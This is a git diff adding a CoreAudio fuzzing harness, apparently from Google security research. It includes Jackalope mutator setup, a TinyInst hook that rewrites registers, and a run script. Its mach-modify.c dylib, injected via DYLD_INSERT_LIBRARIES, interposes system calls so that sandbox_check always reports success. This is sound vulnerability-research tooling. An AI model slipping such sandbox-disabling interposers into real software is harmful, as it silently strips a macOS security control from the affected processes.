a/CoreAudioFuzz/jackalope-modifications/function_hooks.cpp b/CoreAudioFuzz/jackalope-modifications/function_hooks.cpp new file mode 100644 index 0000000..470628a --- /dev/null +++ b/CoreAudioFuzz/jackalope-modifications/function_hooks.cpp @@ -0,0 +1,46 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#include "function_hooks.h" + +void HALSWriteSettingHook::OnFunctionEntered() { + printf("HALS_SettingsManager::_WriteSetting Entered\n"); + + if (!GetRegister(RDX)) { + printf("NULL plist passed as argument, returning to prevent NULL CFRelease\n"); + printf("Current $RSP: %p\n", GetRegister(RSP)); + + void *return_address; + + RemoteRead((void*)GetRegister(RSP), &return_address, sizeof(void *)); + printf("Current return address: %p\n", GetReturnAddress()); + printf("Current $RIP: %p\n", GetRegister(RIP)); + + SetRegister(RAX, 0); + SetRegister(RIP, GetReturnAddress()); + + printf("$RIP register is now: %p\n", GetRegister(ARCH_PC)); + + SetRegister(RSP, GetRegister(RSP) + 8); // Simulate a ret instruction + + printf("$RSP is now: %p\n", GetRegister(RSP)); + } +} + +FunctionHookInst::FunctionHookInst() { + printf("Registering function hooks!\n"); + RegisterHook(new HALSWriteSettingHook()); +} diff --git a/CoreAudioFuzz/jackalope-modifications/function_hooks.h b/CoreAudioFuzz/jackalope-modifications/function_hooks.h new file mode 100644 index 0000000..4834cce --- /dev/null +++ b/CoreAudioFuzz/jackalope-modifications/function_hooks.h @@ -0,0 +1,35 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#ifndef FUNCTIONHOOKS_H +#define FUNCTIONHOOKS_H + +#include "TinyInst/hook.h" +#include "litecov.h" + +class HALSWriteSettingHook : public HookBegin { +public: + HALSWriteSettingHook() : HookBegin("CoreAudio", "__ZN11HALS_System13_WriteSettingEP11HALS_ClientPK10__CFStringPKv", 3, CALLCONV_DEFAULT) {} +protected: + void OnFunctionEntered() override; +}; + +class FunctionHookInst : public LiteCov { +public: + FunctionHookInst(); +}; + +#endif diff --git a/CoreAudioFuzz/jackalope-modifications/main.cpp b/CoreAudioFuzz/jackalope-modifications/main.cpp new file mode 100644 index 0000000..ca97d85 --- /dev/null +++ b/CoreAudioFuzz/jackalope-modifications/main.cpp @@ -0,0 +1,152 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#include "common.h" +#include "fuzzer.h" +#include "mutator.h" +#include "tinyinsthookinstrumentation.h" + + +class BinaryFuzzer : public Fuzzer { + Mutator *CreateMutator(int argc, char **argv, ThreadContext *tc) override; + bool TrackHotOffsets() override { return true; } +}; + +Mutator * BinaryFuzzer::CreateMutator(int argc, char **argv, ThreadContext *tc) { + bool use_deterministic_mutations = true; + if(GetBinaryOption("-server", argc, argv, false)) { + // don't do deterministic mutation if a server is specified + use_deterministic_mutations = false; + } + use_deterministic_mutations = GetBinaryOption("-deterministic_mutations", + argc, argv, + use_deterministic_mutations); + + bool deterministic_only = GetBinaryOption("-deterministic_only", + argc, argv, + false); + + int nrounds = GetIntOption("-iterations_per_round", argc, argv, 1000); + + char* dictionary = GetOption("-dict", argc, argv); + + // a pretty simple mutation strategy + + PSelectMutator *pselect = new PSelectMutator(); + + // select one of the mutators below with corresponding + // probablilities + pselect->AddMutator(new ByteFlipMutator(), 0.8); + pselect->AddMutator(new ArithmeticMutator(), 0.2); + pselect->AddMutator(new AppendMutator(1, 128), 0.2); + pselect->AddMutator(new BlockInsertMutator(1, 128), 0.1); + pselect->AddMutator(new BlockFlipMutator(2, 16), 0.1); + pselect->AddMutator(new BlockFlipMutator(16, 64), 0.1); + pselect->AddMutator(new BlockFlipMutator(1, 64, true), 0.1); + pselect->AddMutator(new BlockDuplicateMutator(1, 128, 1, 8), 0.05); + pselect->AddMutator(new BlockDuplicateMutator(1, 16, 1, 64), 0.05); + + InterestingValueMutator *iv_mutator = NULL; + if(dictionary) { + iv_mutator = new InterestingValueMutator(false); + iv_mutator->AddDictionary(dictionary); + } else { + iv_mutator = new InterestingValueMutator(true); + } + pselect->AddMutator(iv_mutator, 0.1); + + // SpliceMutator is not compatible with -keep_samples_in_memory=0 + // as it requires other samples in memory besides the one being + // fuzzed. + if (GetBinaryOption("-keep_samples_in_memory", argc, argv, true)) { + pselect->AddMutator(new SpliceMutator(1, 0.5), 0.1); + pselect->AddMutator(new SpliceMutator(2, 0.5), 0.1); + } + + Mutator* pselect_or_range = pselect; + + // if we are tracking ranges, insert a RangeMutator + // between RepeatMutator and individual mutators + if (GetBinaryOption("-track_ranges", argc, argv, false)) { + RangeMutator* range_mutator = new RangeMutator(pselect); + pselect_or_range = range_mutator; + } + + // potentially repeat the mutation + // (do two or more mutations in a single cycle + // 0 indicates that actual mutation rate will be adapted + RepeatMutator *repeater = new RepeatMutator(pselect_or_range, 0); + + if(!use_deterministic_mutations && !deterministic_only) { + + // and have nrounds of this per sample cycle + NRoundMutator *mutator = new NRoundMutator(repeater, nrounds); + return mutator; + + } else { + + MutatorSequence *deterministic_sequence = new MutatorSequence(false, true); + // do deterministic byte flip mutations (around hot bits) + deterministic_sequence->AddMutator(new DeterministicByteFlipMutator()); + // ..followed by deterministc interesting values + deterministic_sequence->AddMutator(new DeterministicInterestingValueMutator(true)); + + size_t deterministic_rounds, nondeterministic_rounds; + if (deterministic_only) { + deterministic_rounds = nrounds; + } else { + deterministic_rounds = nrounds / 2; + } + nondeterministic_rounds = nrounds - deterministic_rounds; + + // do 1000 rounds of derministic mutations, will switch to nondeterministic mutations + // once deterministic mutator is "done" + DtermininsticNondeterministicMutator *mutator = + new DtermininsticNondeterministicMutator( + deterministic_sequence, + deterministic_rounds, + repeater, + nondeterministic_rounds); + + return mutator; + } +} + +class FunctionHookFuzzer : public BinaryFuzzer { + Instrumentation *CreateInstrumentation(int argc, char **argv, ThreadContext *tc) override; +}; + +Instrumentation *FunctionHookFuzzer::CreateInstrumentation(int argc, char **argv, ThreadContext *tc) { + Instrumentation *instrumentation = new TinyInstHookInstrumentation(); + instrumentation->Init(argc, argv); + return instrumentation; +} + +int main(int argc, char **argv) +{ + Fuzzer* fuzzer; + + bool hook_functions = GetOption("-hook_functions", argc, argv); + if (hook_functions) { + fuzzer = new FunctionHookFuzzer(); + } else { + fuzzer = new BinaryFuzzer(); + } + + fuzzer->Run(argc, argv); + return 0; +} + diff --git a/CoreAudioFuzz/jackalope-modifications/tinyinsthookinstrumentation.cpp b/CoreAudioFuzz/jackalope-modifications/tinyinsthookinstrumentation.cpp new file mode 100644 index 0000000..0a2fd69 --- /dev/null +++ b/CoreAudioFuzz/jackalope-modifications/tinyinsthookinstrumentation.cpp @@ -0,0 +1,27 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#include "tinyinsthookinstrumentation.h" +#include "litecov.h" +#include "function_hooks.h" + +void TinyInstHookInstrumentation::Init(int argc, char **argv) { + instrumentation = new FunctionHookInst(); + instrumentation->Init(argc, argv); + + persist = GetBinaryOption("-persist", argc, argv, false); + num_iterations = GetIntOption("-iterations", argc, argv, 1); +} diff --git a/CoreAudioFuzz/jackalope-modifications/tinyinsthookinstrumentation.h b/CoreAudioFuzz/jackalope-modifications/tinyinsthookinstrumentation.h new file mode 100644 index 0000000..8389fd7 --- /dev/null +++ b/CoreAudioFuzz/jackalope-modifications/tinyinsthookinstrumentation.h @@ -0,0 +1,24 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#pragma once + +#include "tinyinstinstrumentation.h" + +class TinyInstHookInstrumentation : public TinyInstInstrumentation { +public: + void Init(int argc, char **argv) override; +}; diff --git a/CoreAudioFuzz/mach-modify.c b/CoreAudioFuzz/mach-modify.c new file mode 100644 index 0000000..0911869 --- /dev/null +++ b/CoreAudioFuzz/mach-modify.c @@ -0,0 +1,61 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#include +#include + +// Forward declarations +int sandbox_check(int pid, const char *operation, int type, ...); +kern_return_t bootstrap_check_in(mach_port_t bootstrap_port, const char *service_name, mach_port_t *service_port); + +// Custom implementations +kern_return_t custom_mach_port_deallocate(ipc_space_t task, mach_port_name_t name) { + return KERN_SUCCESS; +} + +kern_return_t custom_mach_port_mod_refs(ipc_space_t task, mach_port_name_t name, mach_port_right_t right, mach_port_delta_t delta) { + return KERN_SUCCESS; +} + +int custom_sandbox_check(int pid, const char *operation, int type, ...) { + return KERN_SUCCESS; +} + +kern_return_t custom_bootstrap_check_in(mach_port_t bootstrap_port, const char *service_name, mach_port_t *service_port) { + // Ensure service_port is non-null and set it to a non-zero value + if (service_port) { + *service_port = 1; // Set to a non-zero value + } + + return KERN_SUCCESS; // Return 0 (KERN_SUCCESS) to avoid triggering the `jnz` +} + +// Custom implementation of mach_port_insert_right +kern_return_t custom_mach_port_insert_right(ipc_space_t task, mach_port_name_t name, mach_port_t poly, mach_msg_type_name_t polyPoly) { + return KERN_SUCCESS; // Always return KERN_SUCCESS +} + +// Interposing array +__attribute__((used)) static struct { + const void* replacement; + const void* replacee; +} interposers[] __attribute__((section("__DATA,__interpose"))) = { + { (const void *)custom_mach_port_deallocate, (const void *)mach_port_deallocate }, + { (const void *)custom_mach_port_mod_refs, (const void *)mach_port_mod_refs }, + { (const void *)custom_sandbox_check, (const void *)sandbox_check }, + { (const void *)custom_bootstrap_check_in, (const void *)bootstrap_check_in }, + { (const void *)custom_mach_port_insert_right, (const void *)mach_port_insert_right } +}; diff --git a/CoreAudioFuzz/run.sh b/CoreAudioFuzz/run.sh new file mode 100755 index 0000000..dc7947d --- /dev/null +++ b/CoreAudioFuzz/run.sh @@ -0,0 +1,45 @@ +#!/bin/bash + +# Copyright 2025 Google LLC + +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at + +# https://www.apache.org/licenses/LICENSE-2.0 + +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# Get the directory of the script +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" + +# Set the dynamic library path relative to the script location +DYLIB_PATH="$SCRIPT_DIR/libmach-modify.dylib" + +# Original command to run +original_command="./jackalope-modifications/build/Release/coreaudiofuzzer -hook_functions true -in corpus -out out -delivery file -instrument_module CoreAudio -target_module harness -target_method _fuzz -nargs 1 -iterations 1000 -persist -loop -dump_coverage -cmp_coverage -generate_unwind -target_env DYLD_INSERT_LIBRARIES=$DYLIB_PATH -nthreads 5 -- ./harness -f @@" + +# Initialize command with the original command +command="$original_command" + +# Loop to keep restarting the command if it stops +while true; do + echo "Starting the fuzzing command..." + eval $command + + # Check if the command exited with an error code + if [ $? -ne 0 ]; then + echo "Command stopped unexpectedly. Restarting..." + + # Replace the -in parameter value with '-' + command=$(echo "$original_command" | sed 's/-in [^ ]*/-in -/') + else + echo "Command completed successfully. Exiting..." + break + fi + +done